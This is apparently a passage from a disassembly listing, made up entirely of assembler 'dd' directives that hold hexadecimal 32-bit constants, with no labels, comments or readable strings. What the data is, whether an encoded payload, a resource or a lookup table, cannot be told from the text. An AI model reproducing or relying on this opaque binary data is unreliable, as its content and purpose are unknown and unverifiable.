55ED00FDh dd 0E38DDCCEh, 40000A80h, 5289F921h, 0BF00Eh, 0F4D9559Ah dd 6783418Eh, 40D548h, 43A36C18h, 2468C8DCh, 42D8DCDh dd 80C0389Ah, 0A6DDBF8Ch, 0EC8E4E07h, 6837C332h, 0B53A30B1h dd 6231020h, 0D4468F85h, 370010B4h, 0D0502CB1h, 0F6AC3E4h dd 0BFDF9DE0h, 0E1F79500h, 0D073C4Ah, 165B6FAh, 0B10AA900h dd 0EDFA9Ah, 0A74E8ACEh, 0D7056AA8h, 8C318500h, 595EDDE6h dd 0DC0C732h, 3442052h, 97019C4Eh, 0EF857A5Ch, 0BEC5392Ah dd 503FE07Fh, 6FF247F8h, 96A5F704h, 0F480C92Fh, 81F875h dd 287953EBh, 0D2FC2EA1h, 0EFDED712h, 0C1957C0Fh, 0B2D5C6B3h dd 3E90F60h, 0DD351D68h, 0B4B88E54h, 0D90357D7h, 1CE46C5Eh dd 0A4A299DAh, 7D6814F4h, 4DF607A8h, 90FF874Fh, 6974F52Ah dd 427F18C0h, 0F411E1Fh, 4825646Eh, 0FAA43545h, 0C5F05300h dd 5399FCh, 29AEFDD3h, 2FEE015Dh, 93A87600h, 0E0457182h dd 27EF1C91h, 15BE807Ah, 3135A57Bh, 0A4377E00h, 0B61D04F2h dd 0D0779Dh, 61F33E6Ah, 35837197h, 3005890h, 40DD5C4Dh dd 3D2F1Ah, 4FFACC13h, 9C8C6CD4h, 7B54B600h, 607F44F8h dd 1BFA45h, 3608CB31h, 7CD5DB19h, 0B7BD7B00h, 744BAB54h dd 0F9DC00E5h, 824D01F4h, 88005C5Eh, 7304AFE4h, 254E93h dd 8BCB3803h, 74BECA1Ch, 0C2009C98h, 40D19CAAh, 2602FE66h dd 0E0DC194h, 3F204819h, 0AFC36B92h, 0F4BBEF00h, 592DA337h dd 123600A2h, 453C6073h, 55004051h, 0C956899Bh, 97E0EDh dd 24D4B4EAh, 0DD21CE7Ch, 9391191Ch, 4B989681h, 0B120F617h dd 6816002Dh, 0FEC27D27h, 54006D4Dh, 23ADF2EBh, 0D83FA4h dd 585796D3h, 8CBB1DA1h, 0E84AA48h, 0C53388DBh, 78539E6h dd 0A950804Eh, 757480A7h, 58C2E873h, 8F3854BEh, 0B7A3FD03h dd 2AF8A892h, 5928ED32h, 9800F974h, 72EEE742h, 5F8593h dd 0ED6806B3h, 1747A6E2h, 8445BB38h, 0ECAE765Ch, 8EBAC480h dd 62D0018Fh, 25F0D0Fh, 0B473C04Dh, 0AFACE104h, 0D4C078EAh dd 0F555DCh, 0DE103DD3h, 8B86B9E8h, 2D4F0C0Fh, 0A1270065h dd 1761C62h, 14EEB74Bh, 0F5A95059h, 0BC96CC37h, 41583B02h dd 40976029h, 18FDA2E0h, 111C4EC8h, 9800C11Eh, 0D9A3A79Ch dd 4CE99E85h, 19006CEFh, 0C5287B7Ah, 20002CB9h, 54FDA8F3h dd 3BE27ED4h, 0E000B85Bh, 0F992E48Dh, 0D09775C6h, 0DFCC0ED3h dd 0D90093DCh, 0B5551488h, 6E736B1Eh, 0F052080h, 0F3C40D2h dd 0FE321B1Fh, 716F0DC0h, 0A87797AEh, 0AA898D00h, 281C33E8h dd 31D70F9Dh, 658036A5h, 83FB98CBh, 7718B300h, 0BFD64A1Ch dd 33312EECh, 84F30E8Dh, 1276D0E0h, 6300B122h, 5A3D802Eh dd 0BCE648h, 86ED44C6h, 9302DC1Eh, 81507C00h, 0BDFD7D42h dd 7BE100B6h, 11C2D8D2h, 5A00F1EDh, 1471DC6Eh, 2D3E0Ch dd 0A55254C8h, 2653F0AEh, 20EBF81Fh, 8413048Fh, 0DAC08499h dd 1C378Ch, 9A4B975h, 0F1E0B0E1h, 0C6486100h, 0A78252ABh dd 48967180h, 0E7005F70h, 12CAB542h, 0C100D104h, 0FAB2640Fh dd 0BC8626h, 6D372751h, 0BEDDDCB3h, 9591D600h, 0F2E728F9h dd 764C039Eh, 0E8F1E490h, 0FDCF6DA0h, 0A5AE0A00h, 0A72911EBh dd 7BB60FC1h, 38200257h, 65EA2BB2h, 4ED3690Bh, 8F98A37h dd 0C1264200h, 6045E684h, 5A3050E1h, 0D6002CD5h, 7D224CA7h dd 25BA88h, 5E36E60Dh, 0AD90C376h, 32216D00h, 8A7EA72Fh dd 0D74700D8h, 0C65AFF07h, 0E0E79DDAh, 0B801E8EDh, 0ABF7EB2Ah dd 8420EF13h, 7B03004Eh, 314AB939h, 0BE496346h, 8DAD2C80h dd 45E49A00h, 1632A7h, 0D7CEF5DEh, 0DA810E8Bh, 80A1D5B0h dd 3D7FC08Eh, 3531B904h, 84836407h, 331C8815h, 16BA78ECh dd 5D91F6h, 6BF009D0h, 3C07F1FFh, 829D83E7h, 7BBB9C70h dd 5D7092h, 0C35B46EFh, 0E7845149h, 0DF0F6F01h, 0F7E02967h dd 379BA640h, 4DB0096h, 5E6CB4AAh, 7B00C531h, 0F7F1B2B1h dd 4FECEFh, 0A5A9D57Fh, 1F83E5A8h, 34740926h, 0AC376C00h dd 1C32645Ch, 0F42204h, 6B86A8E2h, 51C8C89h, 93001B09h dd 0B58303CBh, 73F81CC9h, 80EE9Bh, 176728DDh, 2C047509h dd 0D3F0B5BCh, 3B74C7ECh, 0DB3BC78Bh, 57459A6h, 808E3325h dd 10D77133h, 297B90C0h, 0C93B55h, 6A4EFE97h, 0C28380E6h dd 269A8600h, 0DC8EBD09h, 98E851D5h, 4CE3A4F0h, 220E18C4h dd 98607B6Ch, 0C179B4F8h, 0DBE65078h, 0E734BE07h, 102CA47Ch dd 1CE2B2h, 33CE670Ch, 2E1BC3B6h, 8073653Ch, 2478EC9Eh dd 982C3E13h, 14B066h, 0F75C1DE1h, 0C18C2387h, 80A4F207h dd 74719862h, 50F684EFh, 1F69FE9Ch, 808FFB24h, 1A5CC67Fh dd 0A3002E65h, 23968986h, 0F0C36FCh, 1D934115h, 7A6200DEh dd 90BF5CB8h, 3CBC6F0Eh, 9722A0DDh, 0ED6634h, 78802531h dd 0F7C6C7AEh, 9AC3FEF9h, 0C868AD92h, 631DC940h, 43C0D030h dd 0EBDB8E28h, 0F719005Ah, 0C79034B1h, 0A400EF92h, 7F5C3C71h dd 0FE0AEDh, 33FD501Eh, 0D1CA20A0h, 0A4478A02h, 0E0C19045h dd 90EBAD64h, 7530078h, 0BC176EA3h, 593F6033h, 0BB358756h dd 0A9E599h, 0A9E96B50h, 200941Ch, 0ACEDD459h, 56FBCA80h dd 3B28726Dh, 28009CA3h, 8884890Ah, 30B38D78h, 8719BCAh dd 0A2000786h, 0CB57EE19h, 30CF34h, 0B7E294BFh, 88C4F360h dd 0ED767100h, 8D45F836h, 904814h, 963B2700h, 0EE16CEAEh dd 6F03627Ah, 0EFEAE14Ah, 6DF88C2h, 0A5D90033h, 79B9E6FFh dd 0F800D7ABh, 6D786BF5h, 3FF1AA47h, 4F817B4Ch, 0B75A67C0h dd 0C7C0703Eh, 819F410Fh, 72B3Ah, 0A1E5FEC8h, 8D650E8Ah dd 0B4C09EF3h, 43102A12h, 9BD82300h, 2FE1F25Ah, 0BF981242h dd 645807A7h, 9180FEC4h, 5ABBD385h, 2C339526h, 0F229BC00h dd 1663CF82h, 4014FA3Dh, 7E306788h, 0EA00ABBAh, 5D5FBEBh dd 0E1049Dh, 45BDFAD9h, 0F7A07EE3h, 1C5CE04Ch, 7D576F5Ah dd 0F0EDEB01h, 4F70AA55h, 1DC10188h, 0D9580940h, 0D5F5F49Dh dd 3079B200h, 0A7593EBEh, 0A0EC00E8h, 47C945CCh, 0BC097541h dd 8D826B5Ch, 0E8F82A5Ch, 0F061C09Eh, 0B2F4FEEFh, 0E9A84400h dd 213E8E11h, 670500FBh, 0FD9F39D9h, 0E20EDBAFh, 0E0016892h dd 5EEF797h, 401E003Ch, 88C55767h, 760046E6h, 5B43F3C6h dd 0E82DA25h, 8D77CB4Bh, 0BFC0794Fh, 3D5F62E3h, 0B0C04207h dd 8E40EE05h, 2DB173h dd 0A1844676h, 4A477BFEh, 5C00BB75h, 3B355F83h, 0A6CEB4h dd 42AFE123h, 9A9186Bh, 9298D754h, 9557F603h, 0E0D57727h dd 68B239h, 0C5A916FBh, 0EEE0DCE6h, 0ED1D5405h, 0C500986Ah dd 5EACB287h, 12810013h, 92249AA4h, 0D70AFD38h, 98630339h dd 0E2C91100h, 73D6345Dh, 1A100EB7h, 0A0C30CA6h, 5BC0358Bh dd 0C90FD41h, 23842502h, 0C0FB5A4Bh, 0BA73D8h, 0BD3A8D61h dd 7AE7A8A6h, 52AEB32Eh, 40A56C00h, 0F31A77Ch, 1AF3CB92h dd 0B7A2F880h, 0B00977B5h, 0FA38E3Ch, 0EC2780A8h, 498AB489h dd 0EE00D42Ch, 0A2688E31h, 4200981Eh, 9FAB65C1h, 3776Bh dd 0AF2D8FEDh, 0CB7215BFh, 54837F09h, 802B00F9h, 19CD0Bh dd 26B93B21h, 0BFE6BC28h, 1E64AB00h, 377166DEh, 37F76BAh dd 5FA60B18h, 1DA8C6AFh, 0C700227Ah, 1AE86DF0h, 0B429B5h dd 0DE4E4A6Ah, 365FEC2Ah, 0AB13A6FEh, 37001ABEh, 43999A03h dd 5EA0288Eh, 0FCB200ACh, 0F5B39784h, 19E258D6h, 23DBA500h dd 0F2AC5AD4h, 76C9F8FCh, 0DE04001Ah, 30B9EB29h, 0B50F6948h dd 0C0CCE65Ah, 97F25E9h, 0A9600AAh, 9F7ACAADh, 0D700B653h dd 589DEFD4h, 95454Ch, 0D6BCD124h, 7325FCB8h, 81399C01h dd 0C38EA8F9h, 0F810E439h, 800D3D59h, 19149674h, 9ECBEBh dd 1E49EDF5h, 95D0BEB4h, 22E2EC02h, 0C04B1B88h, 7932823h dd 1C924744h, 0C7ADF2F2h, 0AE9CF080h, 0E2000AD7h, 0F4891EB4h dd 0B2E539h, 765C259Dh, 0BF61A3BBh, 0C4DBC61Eh, 8C039A16h dd 0F0EAC87Dh, 1F027Eh, 0A5ADCF3h, 854A0C9h, 50745958h dd 4750CD77h, 872CE9FCh, 3900CCE0h, 0C8A30A88h, 3818489Fh dd 4CD71D0Fh, 0EA7B4D60h, 195AB309h, 5EE6009h, 0C8C4DBF8h dd 1000C8B3h, 0CAAA69CCh, 0FE8296Ah, 0A313D0Ah, 8F00EC6Fh dd 25A44D17h, 0A5C6007Dh, 8B63A1ADh, 20C06E24h, 8030B475h dd 9CB90138h, 0E7C38D03h, 88EC3092h, 13A43900h, 6CA9541Dh dd 0CF01001Eh, 23F9C498h, 0C038F575h, 8A37800Dh, 0E8D0AD59h dd 33D100A8h, 10461BBBh, 78009752h, 5D7C5692h, 767204h dd 0F682517Eh, 2EE675DBh, 0A4004298h, 8AD6AFD9h, 8CB55Dh dd 4596575Fh, 7DE9E2E1h, 77C23100h, 73B12E22h, 33CC00F8h dd 0CF68441Ch, 0EB00D478h, 0F59E776h, 7990D318h, 94A50031h dd 8B568D26h, 1C00782Dh, 20BCEA80h, 0DF2C46h, 6397EFBFh dd 91166798h, 4445BB00h, 6E8CFF2Ah, 0B6413FBCh, 4D3CAC80h dd 6DC12C39h, 0B3D72F00h, 0A3C52164h, 43703DEh, 88F91FCBh dd 5EA48AD0h, 10F86A00h, 0DE852360h, 4FA02826h, 0A2F90EE1h dd 53037DB9h, 50A85B3Bh, 0B3FE193Dh, 66A7BA00h, 448BC828h dd 36AE0035h, 6738B631h, 0C0008D83h, 6BBF048h, 0BC5E4Dh dd 4C33DD56h, 1C325AA2h, 2BE4F500h, 0F4FB19ADh, 0E92F13C8h dd 0DC150740h, 0DFA3B0F8h, 0BC001218h, 47C85D78h, 3B505A4Ch dd 0D80039C1h, 57ACE326h, 9B009F1Dh, 0EA943EF8h, 1921AAh dd 4AC4535Ah, 97BEC674h, 0C7E14100h, 5147EB34h, 0FF40057h dd 5EF24FEEh, 4100A3F5h, 6DCD215Fh, 7C4EE92Ch, 5110CBD9h dd 0ECE08000h, 0A2309AFAh, 16F82944h, 0C6DF074Ah, 1051CA73h dd 0BFDAC2F0h, 33C5E801h, 21A7B7Ah, 0F8B21EF8h, 379500D4h dd 5F0849E5h, 600723Bh, 0A709EF93h, 0EBCF1Ah, 7A914EC8h dd 0B197CBF8h, 76124C00h, 19A6608Ah, 0CCE40068h, 0BD04484Bh dd 9702DE26h, 279CF807h, 0E82C40E0h, 0A5AF0046h, 0D88771B7h dd 5101E98Ch, 0DB88740Eh, 988FA357h, 81801531h, 5164140Dh dd 3230B60Dh, 9E14037h, 1EFC6170h, 0E22CBFh, 1869BB65h dd 0D8C0D559h, 4F7405BCh, 14093058h, 999B1C50h, 230031FEh dd 11CFA807h, 0FBB3B85h, 2D87E86Fh, 43822601h, 67318315h dd 0B8205906h, 742FE6E9h, 1BE258A4h, 3E5CE000h, 91B3D104h dd 0F82A7700h, 0F6A64E07h, 295A1E1Dh, 9980870Dh, 255583A5h dd 0CA3E8490h, 85F27203h, 989DD25Ch, 7B4B6Ch, 0D0FC20D3h dd 294ECE6Dh, 0DC063404h, 0C490CC51h, 4FC718h, 6B632D4Ah dd 0E0BD26A4h, 0D9051601h, 0EFB4D521h, 0F61E0F6h, 445F2C1Ch dd 0DF3B003Bh, 0EB36B7EAh, 57E538h, 7684AD9Dh, 5581Fh dd 4EEF12F9h, 5625BEC3h, 0D7A86F00h, 44B98084h, 75FF002Bh dd 0BD781996h, 3700571Ch, 0B235268Eh, 580C1h, 0E691E80Eh dd 0B186F8A3h, 15000B78h, 20A9EBE3h, 7BAFE051h, 0D55D24D8h dd 333130Ah, 2BCCC2B8h, 13F90390h, 75E2C539h, 0FA402C00h dd 4A611702h, 0BFE507B7h, 0B09AAB01h, 7EB04F3Ah, 0B2DEE80Fh dd 2C42E071h, 2BF088h, 0E67A0E16h, 4DD56D27h, 483E87FAh dd 226B018Dh, 4434A6DCh, 5B83DCh, 2EFFEA74h, 7E1F15CFh dd 0D9D06F14h, 863000B0h, 44E22B56h, 0FF6A023Fh, 0FD57DD25h dd 854BE080h, 0F23BF95Ah, 61BBC830h, 0FEEDFB28h, 118B3401h dd 9510F3A9h, 778006FAh, 0AA51C471h, 14BD4AF8h, 90C46D08h dd 0D1158F13h, 6088121h, 500F94C3h, 28F42211h, 0A9F81415h dd 70CBA1C6h, 89727F29h, 650E08F9h, 4C751CCh, 482E5C14h dd 0CB7742CDh, 666322h, 0FC3D1E83h, 3FCCC100h, 22DA9A92h dd 0F9E60047h, 0F544321Fh, 0BFF4C4B5h, 0E974200h, 0D127E0FDh dd 8DA00950h, 7180DCE7h, 107FB564h, 9A7ABF00h, 0C6980C19h dd 38071F6Dh, 807E9CE0h, 562CF23Ah, 7300210Eh, 0D3969DDh dd 0FFA4249h, 0D5D85912h, 8FD6D101h, 0BCE1E08Eh, 8D63FF00h dd 24A1DD2Ah, 8A4F0002h, 7E15FEB7h, 4600415Ah, 9A971A80h dd 0E24D632h, 6C72EFADh, 10641D80h, 0AA0B0C37h, 0E9A9F4Dh dd 0AB81C0BFh, 7B7F9EFFh, 8BC90048h, 0FDEF6404h, 9400BAF9h dd 0CB45C2Ah, 1264Ah, 7333CB50h, 85D22FB6h, 0A23D789Ah dd 0F15280BBh, 2E51D06Ch, 0ABAC0023h, 0A9F2686Bh, 0EEFC93EAh dd 0D0291C00h, 4C359254h, 7D4B001Fh, 0AFBF339Fh, 260060BBh dd 0DC1F8F2h, 5C61ABA8h, 0B802F748h, 0E91FFE9Ch, 0BAD25C63h dd 55F68960h, 27DB8F00h, 90CBAB9Dh, 2BC30097h, 0F99A6F7h dd 12006E3Fh, 9C3AB677h, 543469h, 0D26C5E97h, 40473BC2h dd 56A71207h, 61810657h, 0D7CFDC10h, 0B546C3h, 0DDD2DA21h dd 2BBC4FEh, 5E35720Ch, 0DC50F7h, 0B4F4CC23h, 6A3456BDh dd 60C9450Fh, 0DD03007Eh, 190F16Fh, 8F3FE402h, 0E465BA8Ah dd 3A282E48h, 2A058421h, 9F61849Dh, 1EFFB001h, 7F30C964h dd 33150183h, 2755B4Fh, 0CE70E8F1h, 123C7307h, 0C4D24D0Dh dd 1CCAC041h, 0C2E40089h, 153D5492h, 2179B9DAh, 41BADD02h dd 405A5F69h, 0BAF31C10h, 0CE1E042h, 0A516FF3Dh, 0B5005F08h dd 6269F602h, 50A71F19h, 0E6FB4D9h, 0E8069425h, 3976A460h dd 0BE053146h, 56C43491h, 0B3A88AC0h, 6B65009Fh, 1F3B0305h dd 2B016482h, 1ACEF22Ch, 4A70D53Ch, 94F600DAh, 0EF5EA1FAh dd 897B90D8h, 439DCD0Ah, 0FF00B450h, 0DEF90192h, 0B255006Bh dd 0B8C117EDh, 5C3B31E4h, 0AE7E851Ah, 0E807132Bh, 0ACA1A9DCh dd 8BF8EEBBh, 181B6564h, 377EC00Ah, 0BF00D123h, 0E06034DCh dd 2638C6h, 0C37CA087h, 49370596h, 229B8412h, 0E050CD14h dd 12EB27A6h, 0EF46A8Dh, 9CA06448h, 0B9555DAh, 5CE049h dd 2779FA4Fh, 56DB9Eh, 81410E4Dh, 0D587BDAEh, 65BB113h dd 3DFD9702h, 0B36440BEh, 0FF21883Ch, 77237407h, 129035EAh dd 0FE8004h, 96F1B362h, 9385407Dh, 4F557A00h, 0BEECB489h dd 4FB7E29h, 9E09CCEEh dd 2C0CC0B6h, 0F11DFC63h, 0C60170E7h, 0D19C1F9h, 7FE5D440h dd 9006254Fh, 0D0281C01h, 2A160C3h, 0E9090109h, 0D3048119h dd 0A8718A38h, 349B0BCCh, 8048A652h, 0B87E2659h, 5B007AB8h dd 207B2B70h, 0CA0BB9h, 0DA3F6C24h, 909AF3FAh, 8F4F1200h dd 3458EC26h, 918C0021h, 732DD5E8h, 0DE6CCA1h, 17D77700h dd 0F9764D8Dh, 0A2E809h, 0F7585D4Ah, 0A6CA34D4h, 0AE575004h dd 30C0D5EBh, 0E8275414h, 0F05E0080h, 383442FBh, 272E1BAh dd 0B4A74724h, 8EB1A100h, 7DA2CBh, 0AC8C2B3Ch, 6EDC71D2h dd 0B8273B00h, 0AF18725Fh, 0FB7500F0h, 4EE53386h, 3500AD9Fh dd 0BD0B5091h, 98B337B1h, 86DF04B0h, 834AD338h, 4480E050h dd 78C01C6Dh, 3C0BADD8h, 861F0FEFh, 0DC099E5h, 0F67AACCDh dd 0EB4AB003h, 0A92D04A4h, 99C460D8h, 65A7005Bh, 7EF8BA2Bh dd 0BB0F083Bh, 60015864h, 84EEAD7Ah, 0EDF90752h, 0B07E1242h dd 283F6C1h, 6C48760Fh, 77102031h, 1D1BE33h, 0E2050735h dd 30C0EE8Bh, 5E004220h, 0F9168306h, 3FD6DB49h, 5F874E68h dd 0D30E9F40h, 0F7C00638h, 0E00078D5h, 68117EDCh, 0FABAB1h dd 225A46F4h, 7FA717C4h, 4D05A000h, 0CD6C51Dh, 3DD100CAh dd 5DF0A946h, 0A30E2592h, 205B67FAh, 3C688B4Eh, 565E0041h dd 0AAC87501h, 0C758638Eh, 98007048h, 1D64B33Dh, 3B227Dh dd 0C54BC9Bh, 6693FC48h, 0CBF4A502h, 80E2D389h, 1FBF2CF8h dd 86D80119h, 95DB6DA8h, 2A4920FFh, 0BE51387Dh, 8689FCC0h dd 0CB7AC32Ch, 64DFCB00h, 0AE29CDh, 701EE366h, 1050DA54h dd 0EAADC814h, 3F8D00F8h, 0B63AAA39h, 771F002Ch, 923724E4h dd 1CEA8C85h, 9ED25300h, 4B9F8314h, 526000Dh, 42EB6234h dd 90008243h, 5907A6A5h, 587D5CC7h, 4B04E471h, 0C00E485Eh dd 51014A4Bh, 7AB1F207h, 19BF52Dh, 0ECFF0300h, 0ED00BC28h dd 76F2C236h, 2400EAD6h, 0A6BFAF80h, 50A0146Ah, 78F445h dd 0EC3DD333h, 89C4063h, 444B4Ch, 7EA00E79h, 0B8ADE92h dd 510A8C3Dh, 70EF3C87h, 6C3B0565h, 43A9F07h, 73B3CFC7h dd 97807EBh, 40AE7AF4h, 75112A5Ah, 952B140Bh, 0BB5480A8h dd 0E0A2EDA5h, 0AA76EBh, 778E0724h, 334C66B2h, 86DE2504h dd 75C0398Ch, 67BF21h, 1E0F2393h, 35B8CE29h, 0AD3DFB00h dd 58D49498h, 0E5EA008Ch, 0D5F374DEh, 0A85852ECh, 0E87008Ch dd 0FE3E1D25h, 497000F7h, 77CEBEFFh, 0A20083FAh, 0D08DBAEEh dd 75F4BC75h, 7C2D000Bh, 2B69B4DCh, 353D954Bh, 84550020h dd 0F2AC30E2h, 21A60049h, 0A4DE6D0Ch, 407473Ah, 43D34CEDh dd 0EECECFD0h, 69CA01F8h, 75C577CDh, 9AACE812h, 0D918727Eh dd 603868AAh, 0E23E0035h, 0F4691650h, 833A310Dh, 0A6D59CAFh dd 0DB819A40h, 3B218982h, 0AB018B4Fh, 1675E8CAh, 6A8F05Fh dd 98326400h, 9F788120h, 0AE5E009Bh, 5DE250C7h, 3D01BFBDh dd 0DB6B1EE7h, 0EBD4F9D7h, 3B2A0083h, 126F8F57h, 40000231h dd 0D81422A9h, 0B897F4h, 439E9AB5h, 0B9E2ACDBh, 0FD5C471Ch dd 9822CE00h, 0E926A7h, 7B28CAE8h, 0EFEA2DDAh, 85D91A01h dd 0CE9BCF9Fh, 0CC45ECh, 256C068Ch, 0EED6D78Ah, 0AD0F97E2h dd 40BAD82Ch, 94855C39h, 8E570084h, 91D20EEDh, 0D5007C3Bh dd 9A73D04Bh, 0F7027B4h, 307D4C61h, 82599860h, 0D5393E22h dd 0B6BE006Eh, 45FEB46h, 92BC00A0h, 0BDDDA6ACh, 72004388h dd 0F6FCC510h, 7EE96B0Ch, 8290EFh, 49E1ECA0h, 4EB6F178h dd 0C0F7A200h, 39B04F19h, 0B8F90082h, 0D8283530h, 1A737618h dd 0A30F64ECh, 8058074Dh, 68305FDAh, 0F48500D3h, 59FFE833h dd 6600A64Ch, 63430155h, 8B157Fh, 5417680Bh, 3A1F72DDh dd 6C974000h, 0FDE525E2h, 0E47E28h, 3D26ECD3h, 51A77B61h dd 71747701h, 2D6FF3B3h, 0BB5C803Eh, 12070373h, 0C8C2EF53h dd 58A3EEA3h, 2E01FEE0h, 0E307C933h, 0DB012AE0h, 0D3E21F7Ah dd 4E6A880h, 0B6EEE88Bh, 58FB7C00h, 8FF744A0h, 90FC4950h dd 0E5B29100h, 0DAB45D68h, 64C52100h, 807DD711h, 139C07F6h dd 0C05BBF37h, 16398250h, 3305200h, 3ED86425h, 962B000Eh dd 0E2445D2Ch, 0ED07836Dh, 0B19B5DFh, 3D095C1h, 2F6BC8h dd 1D78630Ch, 0BF9DEB49h, 6658BB00h, 0BAD33AFDh, 0DD070032h dd 52616734h, 0B20F20D1h, 62274AA4h, 605A1060h, 0E0824F26h dd 0D3BF00A5h, 0E2FE507Dh, 13009FA0h, 328C4663h, 3C1B167h dd 0DD970431h, 20EC87Eh, 20381CCEh, 7AE73E20h, 0F0272E71h dd 6EF2006Dh, 0EB3A3599h, 1CFE150Eh, 0DCDF6181h, 9EF49BA4h dd 826C07ACh, 705CD3BAh, 0A64FD568h, 0F9A32600h, 0D67B6D87h dd 0B3EA0044h, 86972F42h, 3B178369h, 8300FF4Bh, 0F6231BD2h dd 0FA6E00C4h, 6492357Bh, 0C700B83Bh, 57914B27h, 1F01Fh dd 0CDEDD182h, 0A8930496h, 0E046B21Eh, 0B7F912C0h, 1D25CF05h dd 3D4097F7h, 400953Ch, 0FBDFDA09h, 0EC482B15h, 0FAA428D7h dd 0BC0F480Bh, 5EC80093h, 0F480E5h, 5D50E68Eh, 0B9B52D87h dd 3479CA00h, 143559C3h, 0FB9F0BFDh, 7DC5E2h, 0F71D2083h dd 476303DCh, 197EA61Bh, 0B7EA1380h, 0AC005DE4h, 9ECE0A4h dd 61B6D6h, 9354C5D0h, 0BA94B919h, 0B29C9500h, 6AC606BCh dd 98081D5Bh, 0A676C00Bh, 56DAC5BDh, 0AB36EF00h, 15E8A1EBh dd 0B69D002Eh, 8CE37686h, 9C00CD6Fh, 47B06CADh, 4891937Ah dd 5528A71Ah, 6DCF00A4h, 8B19A3DAh, 0FF0787DEh, 0D9CCF553h dd 0D2FCADA0h, 0E09F1D8Dh, 0C8D380BBh, 896092D4h, 0CAE2400h dd 0EBB31A96h, 72107F8h, 0DB0EB8h, 91A02655h, 75CC5300h dd 0AB4DF4F2h, 0ED160038h, 4FF037E3h, 0CA243506h, 49010C61h dd 0B209A7D6h, 87FEE4h, 0D57296Ah, 78A03EB9h, 0F388B100h dd 95F2BF0Bh, 0BC5C0B2Bh, 79069D43h, 6C1DC033h, 780372A4h dd 0D09ED720h, 0EEC13h, 99BAAB2Ch, 7301FC9h, 0A4743600h dd 42F30A23h, 0E32B00E9h, 4B94E601h, 9002E75h, 0CF8F4570h dd 0A259A4h, 8A438591h, 5BD0CD3Eh, 0C7324B04h, 4880D2B2h dd 7E564D1h, 0E790A2ACh, 0DC665096h, 360E58C4h, 0A00C9D07h dd 8A63A46Dh, 0C20900BCh, 4BF91A1Dh, 14015BB2h, 7B943B0h dd 0C32B0DDAh, 0CAA8A20Ah, 40007A04h, 0DD2CF433h, 3E94CC4Fh dd 0FD0057F5h, 0D08E22C6h, 2707F359h, 5A153021h, 0F22A02B0h dd 33640372h, 1BCE8407h, 3F7D4B88h, 0C4D648h, 9313F47Ah dd 1CA3829h, 0C4C1D067h, 40055B2Bh, 8A8E8594h, 0C07658h dd 108F4863h, 0B99D30h, 0D8FF1ADFh, 0AA9A3BFDh, 44DCA80Ah dd 2E04BF9Bh, 0AAA89177h, 6B486030h, 0A700C2E0h, 0FF3C94EDh dd 4151327h, 0F58A01FAh, 35B883AFh, 3100B583h, 0A0F5669h dd 1C32CB6Eh, 41DA8838h, 1D96F674h, 873A2082h, 183AF41Eh dd 5C4180BDh, 0BC27C50Bh, 1C49025Fh, 0D31EF51Bh, 3CE4040h dd 1DA4800h, 2E1617B2h, 3F2800E4h, 801B38E2h, 92007DDDh dd 84C2375h, 0BB1489h, 0AC4458D9h, 8EB397BCh, 64B8EE09h dd 826C8080h, 803EF3D5h, 330C73Fh, 0BFD268D8h, 0D65B002Eh dd 0F24B8DD5h, 5204BBC1h, 0EBD4253Dh, 7FD01C81h, 0F09CECh dd 24D2062Ch, 7E0E8F12h, 0BD467703h, 898E63h, 0B8D5A6C0h dd 654F3243h, 0B25E0200h, 7D8161E4h, 0FB141206h, 0AD8401Ch dd 0C2CA3F51h, 0DAA033ECh, 0B04C6090h, 0D9340035h, 3B324CE4h dd 488A7539h, 0FE7A2594h, 0D200025h, 44860BC2h, 0C02D6564h dd 0D57EE0h, 45FE5785h dd 9803DA8Bh, 0D2A62225h, 530E801Ah, 911F0016h, 937B7E11h dd 2100CCD8h, 0AE568EF2h, 0C71DA566h, 91E6CB60h, 0B9420D7Dh dd 1CBE1048h, 620F4700h, 0F09F8949h, 5920F600h, 0CA1DC322h dd 2892004Eh, 14DE3A41h, 3FEAEE36h, 0C71B3300h, 0A67B86BBh dd 28F400A0h, 9D061C2Fh, 2700B1F0h, 0A8E11F93h, 20CA28Ch dd 9FD8F21Dh, 2FC06035h, 58C01B22h, 158BB6D5h, 0B15B00CBh dd 0C750BAAFh, 48007198h, 838892ABh, 1DC506h, 0B5EB5872h dd 0CD05BB0Bh, 0CC4A2928h, 0C832E90Eh, 205EF2CCh, 0A1438D40h dd 18C2C7h, 24EE51AEh, 6409A381h, 0BF41D700h, 706AE595h dd 0CE7651C0h, 29AC7D4h, 94A0D28Fh, 2C405F48h, 36283156h dd 9F002C3Fh, 0E4BC8759h, 0B0D70524h, 0A5DF0088h, 869346A2h dd 9C2C28B5h, 0F242B034h, 4C8E302h, 0CD592A28h, 0A0F490A1h dd 5173CC2Eh, 0ECF411CFh, 4FB6A6h, 0A0832EDh, 98339A5Fh dd 9B85DF16h, 0FD191420h, 481A48A5h, 492A1600h, 0A8C9F218h dd 0B2B7C003h, 725FCB1h, 0AAD26FD4h, 7D2660D1h, 7C00ECDFh dd 218267C0h, 0BD04B4h, 227655ABh, 0E515B6F5h, 29F019C9h dd 698D024Ch, 0B03FC174h, 6B03A0F3h, 2C361818h, 700D8011h dd 0CE45Dh, 0ED7E35FDh, 0B005BD44h, 9D915C40h, 0C03A6C00h dd 184E8769h, 35F0E01Ch, 0ADEE4880h, 0B82839E2h, 6CB07CBh dd 10832CB8h, 1E341BBDh, 0D3735B00h, 0C6AEAF2Eh, 710B00A7h dd 9BF1CEA6h, 17094245h, 2C6B2137h, 0F2E74034h, 20EC0BB6h dd 0F85887Fh, 2C944043h, 0DF823F77h, 844A2216h, 0A1149E00h dd 73298DA3h, 578B0BA8h, 0C500DAB1h, 69D1642Dh, 0A193DE00h dd 0A4C0E0B9h, 750F0189h, 33729738h, 0D38C3049h, 0E8B0992Ch dd 201BAD40h, 295B006Fh, 35C7C1AFh, 0A35D7545h, 0AF132888h dd 0DB9DE709h, 1F0C20A5h, 190E096h, 100E63C3h, 0E8247908h dd 25004577h, 19F554A0h, 0ED4071Bh, 0F1E882FEh, 0B023CA00h dd 0C4EAEE86h, 853E48C2h, 0E962E024h, 7F5C98E7h, 0FCDD0BECh dd 14816DFAh, 0F15E343Bh, 8E8C60CBh, 1EC4DA4Ch, 9F0B018Fh dd 0BC6430F5h, 0DE7F02B4h, 643EAD66h, 1888FC43h, 853A7D9Ah dd 473804FEh, 34C00550h, 10D9FD0Eh, 2442503h, 0A1D4664Bh dd 9E0B218Dh, 0A0C7011Bh, 0C1105473h, 0B523C490h, 0E76154D0h dd 407E0063h, 0AB22D881h, 0C01E3E10h, 0C8C1B6C6h, 31FC429Dh dd 0EEA5D8h, 0C9C27A92h, 721FA0B0h, 19E83F01h, 7536F2E5h dd 39740ECh, 